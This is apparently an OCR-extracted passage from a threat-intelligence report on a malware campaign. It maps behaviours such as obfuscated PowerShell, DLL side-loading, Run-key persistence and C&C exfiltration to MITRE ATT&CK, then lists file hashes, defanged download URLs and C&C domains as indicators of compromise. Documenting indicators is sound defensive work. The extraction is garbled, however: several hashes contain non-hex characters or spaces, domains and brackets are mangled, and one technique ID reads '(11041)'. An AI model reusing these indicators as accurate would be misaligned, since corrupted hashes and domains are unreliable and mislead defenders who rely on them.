VBScript and PowerShell scripts are executed

Execution (TA0002)

User Execution (T1204)

User may execute malicious files

Persistence (TA0003)

DLL Side-Loading (T1073)

Malicious DLLs are sideloaded by legitimate
applications

Persistence (TA0003)

Boot or Logon Autostart Execution (T1547)

Files are dropped at Startup Folders

Persistence (TA0003)

Registry Run Keys / Startup Folder (T1060)

Autorun registry entry added

Defense Evasion
(TA0005)

Masquerading (T1036)

Double extension is used for masquerading

Defense Evasion
(TA0005)

Obfuscated Files or Information (T1027)

Obfuscated PowerShell and VBScript are used

Discovery (TA0007)

System Information Discovery (T1082)

System information is exfiltrated and sent to a remote
server

Discovery (TA0007)

Account Discovery (T1087)

User accounts are checked in the system

Discovery (TA0007)

Security Software Discovery (T1518.001)

Querying Antivirus Products

Collection (TA0009)

Data from Local System (T1005)

Crucial data form system is exfiltrated

Exfiltration (TA0010)

EXxfiltration Over Command-and-Control Channel

(11041)

Indicators Of Compromise

Data is sent to remote system over C&C
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Indicators Indicator Description
Type
47eb43acdd342d3975000f650cf656d9f0f759780d85f16d806d6b9a70f1be46 SHA256  LNKFile
9375b508e981ed792742f1f3b831ea6647191c261e0d3cd61e60645251ba7df7 SHA256  LNK File
cd10f98c2dbccOc8fe3f0ed19efb1b2340f67b1138a55b0bb8d 1e3dfb985df51 SHA256  HPCustPartULdIl
bced44453835ce96e49046ff618749a9533c290504¢3d7559b3a63969b9f3ef13  SHA256  wwlib.dll
57ba7d5093ec54b0223e6a826f6cb5e019a353963ddbac8420036f7374b28f62 SHA256  Book.dll
96¢f65bb1ac9735c6a1100944d0f46343bb74f3a3c05bc6282271184b872198e  SHA256  Vanban_8647.PDF_update.hta
fe721743a87c2f2767c031ccac337c1fb1ae5e92384738dd90c65d3b1617a341  SHA256  Vanban_8647.PDF.ps1
0ea669d3ef2ae00f25ccb4fef4805c6fd7f9816c37afb8957b3d4ace065e1d95 SHA256 tempdata.dat
4c805f281923ffc2214f4fe48f31ea392b13b710969a18ad6b6b561744cd3875 SHA256  init.txt
968b3de170038522deae02b9b96c45cfc6a5¢70fa0ddfaf29320d0d0d36aabfa SHA256  getdata.ps1
hxxp://mega.vivivivl[.]site/ Vanban_8647.PDF_update.hta URL Download URL
hxxp://mega.vivivivl[.]site/HP.exe URL Download URL
hxxp://mega.vlivivivl[.]site/HPCustPartUl.dll URL Download URL
hxxp://mega.vivivivl.]site/Vanban_8647.PDF.ps1 URL Download URL
hxxp://payment.tripadviso[.]Jonline/tempdata.dat URL Download URL
hxxp://vibm[.Jvn/init.txt URL Download URL
hxxp://megacybernews[.Jcom/newrun.ps1 URL Download URL
hxxp://megacybernews[.Jcom/getdata.ps1 URL Download URL
hxxp://megacybernews[.Jcom/stage2.2.ps1 URL Download URL
hxxp://megacybernews[.Jcom/checkin.php URL Download URL
hxxp://megacybernews[.Jcom/book.dl| URL Download URL
hxxp://megacybernews[.Jcom/unikey.exe URL Download URL
hxxp://megacybernews[.Jcom/wwlib.dll URL Download URL
mega.vivivivi[.]site Domain C&C
payment.tripadvisol.Jonline Domain C&C
vibm[.Jvn Domain C&C
megacybernews|.Jcom Domain C&C
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